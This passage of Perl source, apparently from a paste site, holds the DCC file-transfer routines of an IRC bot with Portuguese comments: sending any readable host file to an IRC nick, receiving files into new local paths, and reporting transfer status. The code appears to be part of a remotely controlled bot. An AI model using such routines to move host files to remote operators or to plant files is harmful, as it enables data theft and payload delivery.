  846.           print $send "$fbytes";
  847.           close FILE;
  848. #          delete($DCC{$fh});
  849.      } elsif ($dcctipo eq 'sendcon') {
  850.           my $bytes_sended = unpack("N", $msg);
  851.           $DCC{$fh}{curbyte} = $bytes_sended;
  852.           if ($bytes_sended == $bytes) {
  853.              $fh->close;
  854.              $dcc_sel->remove($fh);
  855.              $DCC{$fh}{status} = "Enviado";
  856.              $DCC{$fh}{ftime} = time;
  857.              next;
  858.           }
  859.           open(SENDFILE, "< $arquivo");
  860.           seek(SENDFILE, $bytes_sended, 0);
  861.           my $send_bytes;
  862.           read(SENDFILE, $send_bytes, 1024);
  863.           print $fh "$send_bytes";
  864.           close(SENDFILE);
  865.      }
  866.    }
  867. }
  868.  
  869.  
  870. sub SEND {
  871.   my ($nick, $arquivo) = @_;
  872.   unless (-r "$arquivo") {
  873.     return(0);
  874.   }
  875.  
  876.   my $dccark = $arquivo;
  877.   $dccark =~ s/[.*\/](\S+)/$1/;
  878.  
  879.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  880.   my $longip = unpack("N",inet_aton($meuip));
  881.  
  882.   my @filestat = stat($arquivo);
  883.   my $size_total=$filestat[7];
  884.   if ($size_total == 0) {
  885.      return(0);
  886.   }
  887.  
  888.   my ($porta, $sendsock);
  889.   do {
  890.     $porta = int rand(64511);
  891.     $porta += 1024;
  892.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  893.   } until $sendsock;
  894.  
  895.   $DCC{$sendsock}{tipo} = 'send';
  896.   $DCC{$sendsock}{nick} = $nick;
  897.   $DCC{$sendsock}{bytes} = $size_total;
  898.   $DCC{$sendsock}{arquivo} = $arquivo;
  899.  
  900.  
  901.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  902.  
  903. }
  904.  
  905. sub GET {
  906.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  907.   return(0) if (-e "$arquivo");
  908.   if (open(FILE, "> $arquivo")) {
  909.      close FILE;
  910.   } else {
  911.     return(0);
  912.   }
  913.  
  914.   my $dccip=fixaddr($dcclongip);
  915.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  916.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  917.   $dccsock->autoflush(1);
  918.   $dcc_sel->add($dccsock);
  919.   $DCC{$dccsock}{tipo} = 'get';
  920.   $DCC{$dccsock}{itime} = time;
  921.   $DCC{$dccsock}{nick} = $nick;
  922.   $DCC{$dccsock}{bytes} = $bytes;
  923.   $DCC{$dccsock}{curbyte} = 0;
  924.   $DCC{$dccsock}{arquivo} = $arquivo;
  925.   $DCC{$dccsock}{ip} = $dccip;
  926.   $DCC{$dccsock}{porta} = $dccporta;
  927.   $DCC{$dccsock}{status} = "Recebendo";
  928. }
  929.  
  930. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  931. sub Status {
  932.   my $socket = shift;
  933.   my $sock_tipo = $DCC{$socket}{tipo};
  934.   unless (lc($sock_tipo) eq "chat") {
  935.     my $nick = $DCC{$socket}{nick};
  936.     my $arquivo = $DCC{$socket}{arquivo};
  937.     my $itime = $DCC{$socket}{itime};
  938.     my $ftime = time;
  939.     my $status = $DCC{$socket}{status};
  940.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  941.  
  942.     my $d_time = $ftime-$itime;
  943.  
  944.     my $cur_byte = $DCC{$socket}{curbyte};
  945.     my $bytes_total =  $DCC{$socket}{bytes};
  946.  
  947.     my $rate = 0;
  948.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  949.     my $porcen = ($cur_byte*100)/$bytes_total;
  950.  
  951.     my ($r_duv, $p_duv);
  952.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  953.        $r_duv = $3; $r_duv++ if $4 >= 5;
  954.        $rate = "$1\.$2"."$r_duv";
  955.     }
  956.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  957.        $p_duv = $3; $p_duv++ if $4 >= 5;
  958.        $porcen = "$1\.$2"."$p_duv";
  959.     }
  960.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  961.   }
  962.  
  963.  
  964.   return(0);
  965. }
  966.  
  967.  
  968. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  969. sub fixaddr {
  970.     my ($address) = @_;
  971.  
  972.     chomp $address;     # just in case, sigh.
  973.     if ($address =~ /^\d+$/) {
  974.         return inet_ntoa(pack "N", $address);
  975.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  976.         return $address;
  977.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  978.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  979.     } else {
  980.         return;
  981.     }
  982. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement